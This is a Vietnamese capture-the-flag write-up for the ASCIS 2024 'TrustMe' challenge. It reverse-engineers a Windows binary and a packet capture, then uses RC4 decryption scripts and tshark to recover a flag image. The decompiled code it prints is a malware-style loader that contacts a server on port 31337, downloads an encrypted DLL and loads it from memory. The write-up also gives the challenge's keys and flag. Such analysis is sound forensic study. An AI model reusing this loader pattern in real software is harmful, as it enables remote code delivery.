---
# System prepended metadata

title: TrustMe (ASCIS 2024)

---

# TrustMe (ASCIS 2024)
## Phân tích
- Thử thách cho em 2 file `TrustMe.exe` và `record.pcapng`.
- Em sẽ tiến hành phân tích file `TrustMe.exe` trước. Vì phải hiểu nó mới có thể phân tích được dữ liệu trong file `record.pcapng` được gửi đi và nhận những data gì.

![image](https://hackmd.io/_uploads/rJQsECoMye.png)

```
void __noreturn sub_4033C0()
{
  int v0; // ebx
  int v1; // esi
  int v2; // edi
  int v3; // ebx
  const void *v4; // esi
  int v5; // eax
  _BYTE *v6; // edi
  const CHAR *v7; // ebx
  int v8; // ecx
  HANDLE FileA; // esi
  int v10; // [esp+0h] [ebp-20h]
  int v11; // [esp+4h] [ebp-1Ch]
  int v12; // [esp+8h] [ebp-18h]
  DWORD v13[2]; // [esp+Ch] [ebp-14h] BYREF
  DWORD nNumberOfBytesToWrite; // [esp+14h] [ebp-Ch]
  LPSTR lpBuffer; // [esp+18h] [ebp-8h]
  void *v16; // [esp+1Ch] [ebp-4h]
  int savedregs; // [esp+20h] [ebp+0h]

  lpBuffer = malloc(0x1000u);
  v0 = dword_4203A8(0);
  v1 = dword_4203BC(v0, 105, "JPGENC");
  v2 = dword_4203C0(v0, v1);
  v3 = dword_420390(v0, v1);
  nNumberOfBytesToWrite = v3;
  v4 = dword_4203AC(v2);
  strcpy(v13, "imSoSad");
  v5 = dword_4203B0(0);
  dword_4203A4(v5);
  v16 = malloc(v3);
  memmove(v16, v4, v3);
  v6 = malloc(v3 + 1);
  memset(v6, 0, v3 + 1);
  sub_402620(v16, v3, v13, strlen(v13), v6);
  v7 = lpBuffer;
  GetCurrentDirectoryA(0x1000u, lpBuffer);
  sub_401670(v8, v7, "%s\\stopDebug.jpg", v7);
  FileA = CreateFileA(v7, 0x40000000u, 0, 0, 2u, 0x80u, 0);
  WriteFile(FileA, v6, nNumberOfBytesToWrite, 0, 0);
  CloseHandle(FileA);
  sub_4080D0(v7);
  dword_4203B8(
    0,
    "Trust me, when have I ever tricked you?",
    "Stop debugging!!!!",
    16,
    v10,
    v11,
    v12,
    v13[0],
    v13[1],
    nNumberOfBytesToWrite,
    lpBuffer,
    v16,
    savedregs);
  _loaddll(0xFFFFFFFF);
  __debugbreak();
}
```
- Nhìn sơ lược qua thì chả có gì ở hàm `main` ngoài việc chống debug.
- Xem qua thì có một vài hàm trước hàm `main` em cần phân tích.

```
int sub_403010()
{
  _DWORD *v0; // ebx
  int v1; // eax
  int v2; // esi
  int v3; // eax
  PADDRINFOA *v4; // edi
  int (__stdcall *v5)(const char *, const char *, int, int); // eax
  int v6; // eax
  PADDRINFOA v7; // eax
  int v8; // eax
  int v9; // ecx
  int v10; // eax
  int v11; // eax
  int v12; // esi
  int v13; // eax
  int v14; // esi
  int v15; // edi
  void *v16; // edi
  int v17; // esi
  int v18; // ebx
  int v19; // edi
  int v20; // eax
  int *v21; // esi
  int v22; // eax
  int v23; // eax
  int v24; // eax
  void *v26; // [esp+70h] [ebp-24h]
  unsigned int v27; // [esp+74h] [ebp-20h]
  int v28; // [esp+78h] [ebp-1Ch]
  _DWORD v29[2]; // [esp+8Ch] [ebp-8h] BYREF

  malloc(8u);
  sub_402720();
  v29[0] = 4;
  v0 = malloc(0x14u);
  v26 = dword_420398;
  *v0 = 0LL;
  v0[4] = 0;
  memset(v26, 0, 0x2CCu);
  v1 = dword_4203B0(0);
  dword_4203A4(v1);
  v2 = sub_401480();
  v3 = (*(v2 + 456))(514, v2);
  *(v2 + 444) = v3;
  if ( v3 )
    ExitProcess(1u);
  *(v2 + 412) = 0;
  v4 = (v2 + 404);
  *(v2 + 428) = 0;
  *(v2 + 432) = 0;
  *(v2 + 436) = 0;
  *(v2 + 440) = 0;
  v5 = *(v2 + 460);
  *(v2 + 416) = 0;
  *(v2 + 420) = 1;
  *(v2 + 424) = 6;
  v6 = v5("192.168.89.136", "31337", v2 + 412, v2 + 404);
  *(v2 + 444) = v6;
  if ( v6 )
    goto LABEL_4;
  v7 = *v4;
  *(v2 + 408) = *v4;
  if ( v7 )
  {
    while ( 1 )
    {
      v8 = (*(v2 + 464))(v7->ai_family, v7->ai_socktype, v7->ai_protocol);
      *(v2 + 400) = v8;
      (*(v2 + 468))(v8, 0xFFFF, 4101, v2 + 452, 4);
      v9 = *(v2 + 400);
      if ( v9 == -1 )
        break;
      v10 = (*(v2 + 476))(v9, *(*(v2 + 408) + 24), *(*(v2 + 408) + 16));
      *(v2 + 444) = v10;
      if ( v10 == -1 )
      {
        (*(v2 + 480))(*(v2 + 400));
        v11 = *(v2 + 408);
        *(v2 + 400) = -1;
        v7 = *(v11 + 28);
        *(v2 + 408) = v7;
        if ( v7 )
          continue;
      }
      goto LABEL_9;
    }
LABEL_4:
    (*(v2 + 472))();
    ExitProcess(1u);
  }
LABEL_9:
  freeaddrinfo(*v4);
  if ( *(sub_401480() + 400) == -1 )
  {
    v12 = sub_401480();
    if ( !(*(v12 + 488))(*(v12 + 400), v0, 512, 0) )
    {
      *(v12 + 400) = 0;
      *(v12 + 496) = 0;
    }
    v13 = sub_401480();
    (*(v13 + 484))(*(v13 + 400), v29, 1, 0);
    v29[0] = strlen(sub_402920());
    sub_4029C0(v0);
    strlen(sub_402920());
    sub_402920();
    sub_4029C0(v0);
    v14 = dword_4203B4 + 4;
    v15 = sub_401480();
    if ( !(*(v15 + 488))(*(v15 + 400), v14, 4, 0) )
    {
      *(v15 + 400) = 0;
      *(v15 + 496) = 0;
    }
    v16 = malloc(*(dword_4203B4 + 4));
    v17 = *(dword_4203B4 + 4);
    *(dword_4203B4 + 8) = v16;
    v18 = sub_401480();
    if ( !(*(v18 + 488))(*(v18 + 400), v16, v17, 0) )
    {
      *(v18 + 400) = 0;
      *(v18 + 496) = 0;
    }
    v27 = strlen(sub_402920());
    v19 = dword_4203B4;
    v28 = *(dword_4203B4 + 8);
    v20 = sub_402920();
    sub_402620(v20, v27, v28);
    v21 = dword_4203B4;
    v22 = sub_401F00(*(v19 + 8), *(v19 + 4));
    *v21 = v22;
    if ( !v22 )
      sub_401600("Can't load library from memory.\n");
    if ( !*dword_4203B4 )
    {
      _loaddll(0xFFFFFFFF);
      JUMPOUT(0x4033B3);
    }
    dword_420394 = sub_402720();
    v29[1] = *dword_420394 / dword_41F8B0;
    v23 = sub_402920();
    sub_4029C0(v23);
  }
  dword_42039C(1, sub_402E80);
  v24 = dword_4203B0(5);
  dword_4203A4(v24);
  return 0;
}
```
- Nhìn sơ qua thì em hiểu được nó sẽ conect tới sever `192.168.89.136 31337` để thực hiện truyền data.
- Em sẽ tiến hành phân tích file `record`.
![image](https://hackmd.io/_uploads/H1IdSCjzyg.png)
- Tại packer thứ 6 sever `31337` sẽ gửi đến client `51392` một chuỗi key `I'm_4_Gat3_K33per`.
- Sau đó client sẽ random một chuỗi gồm 64 ký tự.
```
int __usercall sub_402920@<eax>(int a1@<ebp>)
{
  int result; // eax
  unsigned int v2; // eax
  _BYTE *v3; // edi
  unsigned int i; // esi
  char v5[64]; // [esp-40h] [ebp-4Ch] BYREF
  int v6; // [esp+0h] [ebp-Ch]
  void *v7; // [esp+4h] [ebp-8h]
  void *retaddr; // [esp+Ch] [ebp+0h]

  v6 = a1;
  v7 = retaddr;
  result = dword_420360;
  if ( !dword_420360 )
  {
    v2 = unknown_libname_22(0);
    srand(v2);
    strcpy(v5, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
    v3 = malloc(0x40u);
    for ( i = 0; i < 0x40; ++i )
      v3[i] = v5[rand() % 52];
    v3[64] = 0;
    result = v3;
    dword_420360 = v3;
  }
  return result;
}
```
- Sau đó nó sẽ decrypt chuỗi này với key `I'm_4_Gat3_K33per` bằng RC4. Sau đó nó sẽ gửi về sever 68 byte với 4 byte đầu là len của chuỗi và 64 byte đã bị decrypt.
![image](https://hackmd.io/_uploads/ryV5LCofyx.png)
- 68 byte này được ghi tại packer thứ 9 em sẽ bỏ 4 byte đầu và đem đi encrypt RC4.
```
86dad7bb918e87d161556ad2e40a89010adfe3aa41ca44764e786b738047456cc80d021e7f60b56776b858225d45099f0e99b62f5758977fde740bcc2be36dbf403eb860
```
-> `WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM`
- Tiếp tục phân tích thì em lại thấy có một file `dll` đã bị decrypt với key trên.
![image](https://hackmd.io/_uploads/S1gPvCjf1x.png)
- Và data sau khi decrypt được sever gửi về client tại các packer `11, 13, 14, 16, 17, 19, 20, 22`.
- Em sẽ dump data này ra và khôi phục nó.
- Đây là script em dùng để khôi phục.
```
from arc4 import ARC4

total = b''
key = b'WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM'
cipher = ARC4(key)

for i in range(8):
    try:
        with open(f"data_gen{i}.txt", "r") as file:
            enc_file = bytes.fromhex(file.read().strip())
        total += cipher.decrypt(enc_file)
    except:
        pass

with open("gen.dll", "wb") as output_file:
    output_file.write(total)

```
- Sau khi em đã khôi phục được thì em tiếp tục phân tích file `gen.dll` này.
- Ta chỉ cần chú ý đến các hàm `gen0, gen1, gen2, gen3`.
```
int __cdecl gen0(const char *a1)
{
  int v1; // esi
  int result; // eax
  int v3; // ecx
  int v4; // edi
  const char *v5; // edx
  char v6; // al

  v1 = strlen(a1);
  result = sub_10001210(v1 + 1);
  v3 = 0;
  v4 = result;
  if ( v1 <= 0 )
  {
    *(_BYTE *)(result + v1) = 0;
  }
  else
  {
    v5 = &a1[v1 - 1];
    do
    {
      v6 = *v5--;
      *(_BYTE *)(v3 + v4) = v6;
      ++v3;
    }
    while ( v3 < v1 );
    *(_BYTE *)(v4 + v1) = 0;
    return v4;
  }
  return result;
}
```
- Nhìn qua hàm gen 0 thì em biết được nó đang modify key cho option 0 swith case, tương tự cho option 1, 2, 3.
- Em sẽ đi tìm 4 key dựa vào key gốc.
```
def gen0(a1: str) -> str:
    if len(a1) == 0:
        return ''
    return a1[::-1]

def gen1(a1: str) -> str:
    result = []
    for char in a1:
        if char.islower():
            result.append(char.upper())
        elif char.isupper():
            result.append(char.lower())
        else:
            result.append(char)
    return ''.join(result)

def gen2(a1: str) -> str:
    return a1[-1] + a1[:-1] if a1 else ''

def gen3(a1: str) -> str:
    v1 = len(a1)
    result = [''] * v1
    for i in range(v1):
        v5 = a1[i]
        if ord(v5) - 65 > 0x19:
            if ord(v5) - 97 > 0x19:
                v6 = v5
            else:
                v6 = chr((ord(v5) - 84) % 26 + 97)
        else:
            v6 = chr((ord(v5) - 52) % 26 + 65)
        result[i] = v6
    return ''.join(result)

input_str = "WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM"
print(f"Original: {input_str}")
print(f"gen0: {gen0(input_str)}")
print(f"gen1: {gen1(input_str)}")
print(f"gen2: {gen2(input_str)}")
print(f"gen3: {gen3(input_str)}")

```
- Và key em tìm được là:
```
gen0: MnbivxwTqsaDwDmDPlufDqJXpDVbgekuzKrOddMKVymjiawsFZrqPNqfaJbWjPTW
gen1: wtpJwBjAFQnpQRzfSWAIJMYvkmDDoRkZUKEGBvdPxjQdFULpdMdWdASQtWXVIBNm
gen2: MWTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibn
gen3: JGCwJoWnsdACdeMSfjnvwzlIXZqqBeXmhxrtoIQcKWdQshyCQzQjQnfdGjkivoaZ
```
- Tiếp theo chương trình sẽ dùng các key này cho từng option để decrypt flag em sẽ dựa theo option mà sever gửi đến client để viết lại script giải mã.
- Nó bắt đầu decrypt từ packer 25 cho đến packer 15494.
- ![image](https://hackmd.io/_uploads/B1xEhCCizJg.png)
- Tại packer 25 sever sẽ gửi đến client option cho sw case là 2 để decrypt và tất cả data sau khi decrypt sẽ gửi lại sever từ packer 27 đến packer 1493 cho option này.
- Từ đó em sẽ lọc theo len data để lấy các option trước.
![image](https://hackmd.io/_uploads/HkEFyy2M1g.png)
- Đây là toàn bộ 22 option mà sever gửi đến client để decript.
-> `Choice: 2, 1, 1, 2, 3, 2, 3, 1, 2, 3, 1, 0, 2, 3, 0, 0, 2, 1, 1, 0, 0, 3.`
- Bây giờ em sẽ dump ra các packer liên quan với từng option này để encrypt.
- Ví dụ như option đầu tiên với choice là 2, thì data bị decrypt sẽ được ghi lại từ packer 27 -> 760.
![image](https://hackmd.io/_uploads/BkZz-y3fJl.png)
![image](https://hackmd.io/_uploads/SkjQWy3zyx.png)
- Em sẽ dùng `tshark` để dump ra.
```
tshark -r record.pcapng -Y "tcp && frame.number >= 27 && frame.number <= 760" -T fields -e data > data0.txt

```
- Tương tự tới `data21.txt`
- Đây là script solve của em.
```
from arc4 import ARC4

keys = [
    b'MnbivxwTqsaDwDmDPlufDqJXpDVbgekuzKrOddMKVymjiawsFZrqPNqfaJbWjPTW',
    b'wtpJwBjAFQnpQRzfSWAIJMYvkmDDoRkZUKEGBvdPxjQdFULpdMdWdASQtWXVIBNm',
    b'MWTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibn',
    b'JGCwJoWnsdACdeMSfjnvwzlIXZqqBeXmhxrtoIQcKWdQshyCQzQjQnfdGjkivoaZ'
]

index = [2, 1, 1, 2, 3, 2, 3, 1, 2, 3, 1, 0, 2, 3, 0, 0, 2, 1, 1, 0, 0, 3]
total = b''

for i in range(22):
    try:
        with open(f"data{i}.txt", "r") as file:
            enc_file = bytes.fromhex(file.read().strip())
        cipher = ARC4(keys[index[i]])
        total += cipher.decrypt(enc_file)
    except Exception as e:
        print(f"Error processing file data{i}.txt: {e}")

with open("flag.bmp", "wb") as output_file:
    output_file.write(total)
```

![image](https://hackmd.io/_uploads/SJQhP13fJx.png)
`Flag: ASCIS{TruSt_m3_br0!_I_d1dn_T_D0_4nyTh1ng!_I_sw34r}`
## Tổng kết
- Em cảm ơn mọi người đã đọc write up của em ạ.

